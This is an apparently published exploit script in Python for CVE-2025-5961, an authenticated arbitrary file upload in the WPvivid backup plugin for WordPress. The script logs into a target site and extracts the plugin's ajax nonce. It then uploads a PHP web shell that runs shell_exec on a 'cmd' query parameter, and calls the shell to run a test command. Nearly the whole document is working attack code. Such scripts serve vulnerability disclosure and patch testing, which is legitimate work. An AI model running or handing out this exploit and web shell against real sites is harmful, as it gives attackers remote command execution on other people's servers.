# Exploit Title: Migration,Backup, Staging – WPvivid <= 0.9.116 - Authenticated (Admin+) Arbitrary File Upload via wpvivid_upload_import_files
# Date: 04/16/2025
# Exploit Author: Ryan Kozak https://ryankozak.com
# Vendor Homepage: https://wpvivid.com/
# Version: <=  0.9.116 
# CVE : CVE-2025-5961
import re
import json
import urllib3
import logging
import requests
import argparse
import urllib.parse

def wp_login(victim_url: str, username: str, password: str): 

    with requests.Session() as s:
        headers1 = { 'Cookie':'wordpress_test_cookie=WP Cookie check' }
        datas={ 
            'log':username, 'pwd':password, 'wp-submit':'Log In', 
            'redirect_to':f"{victim_url}/wp-admin", 'testcookie':'1'  
        }
        s.post(f"{victim_url}/wp-login.php", headers=headers1, data=datas, verify=False)
        return(s)


def main():

    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

    # Parse command line arguments
    parser = argparse.ArgumentParser(description="WPvivid Admin+ Arbitrary File Upload.")
    parser.add_argument("victim_url", help="Target url or ip address.")
    parser.add_argument("username", help="The username for the WordPress instance.")
    parser.add_argument("password", help="The password for the WordPress instance.")
    args = parser.parse_args()

    # Log into WordPress and use this session for the requests.
    print(f"Logging into: {args.victim_url}/wp-admin")
    wp_session = wp_login(args.victim_url,args.username,args.password)

    ##################################################################################################################################################
    # Grab and prase the HTML from the WPvivid options to retrieve the nonce values.
    ##################################################################################################################################################
    print("Extracting nonce values...")
    headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.120 Safari/537.36'}
    r = wp_session.get(f"{args.victim_url}/wp-admin/admin.php?page=WPvivid", headers=headers, verify=False)
    nonce = re.search(r'"ajax_nonce":"([^"]+)"', r.text).group(1)
    print(f"ajax_nonce: {nonce}")
 

    ##################################################################################################################################################
    # Upload the php web shell.
    ################################################################################################################################################## 
    print("Uploading web shell: hack.php")
    headers = {
        "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryr0NgQQDe85Zf9sXp",
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)"
    }
    data  = "------WebKitFormBoundaryr0NgQQDe85Zf9sXp\r\n"
    data += "Content-Disposition: form-data; name=\"name\"\r\n\r\nhack.php\r\n"
    data += "------WebKitFormBoundaryr0NgQQDe85Zf9sXp\r\nContent-Disposition: form-data; name=\"chunk\"\r\n\r\n0\r\n"
    data += "------WebKitFormBoundaryr0NgQQDe85Zf9sXp\r\nContent-Disposition: form-data; name=\"chunks\"\r\n\r\n1\r\n"
    data += f"------WebKitFormBoundaryr0NgQQDe85Zf9sXp\r\nContent-Disposition: form-data; name=\"_ajax_nonce\"\r\n\r\n{nonce}\r\n"
    data += "------WebKitFormBoundaryr0NgQQDe85Zf9sXp\r\nContent-Disposition: form-data; name=\"action\"\r\n\r\nwpvivid_upload_import_files\r\n"
    data += "------WebKitFormBoundaryr0NgQQDe85Zf9sXp\r\nContent-Disposition: form-data; name=\"async-upload\"; filename=\"hack.php\"\r\n"
    data += "Content-Type: text/plain; charset=UTF-8 \r\n\r\n"
    data += "<?php\r\n    // Silence is golden\r\n    // If you want to run arbitrary commands a webshell is better.\r\n    if (!empty($_GET['cmd'])) {\r\n        echo \"<pre>\".shell_exec($_GET['cmd']).\"</pre>\";\r\n    }\r\n?>\r\n"
    data += "------WebKitFormBoundaryr0NgQQDe85Zf9sXp--\r\n"
    r = wp_session.post(f"{args.victim_url}/wp-admin/admin-ajax.php", headers=headers, data=data, verify=False)
    print(r.text)
    
    ##################################################################################################################################################
    # Pinging web shell
    ##################################################################################################################################################   
    print("")
    print(f"Web Shell At: {args.victim_url}/wp-content/wpvividbackups/ImportandExport/hack.php")
    print("")
    print("Executing test command: ip addr")
    r = wp_session.get(f"{args.victim_url}/wp-content/wpvividbackups/ImportandExport/hack.php?cmd=ip addr", verify=False)
    print(r.text)


if __name__ == "__main__":
    main()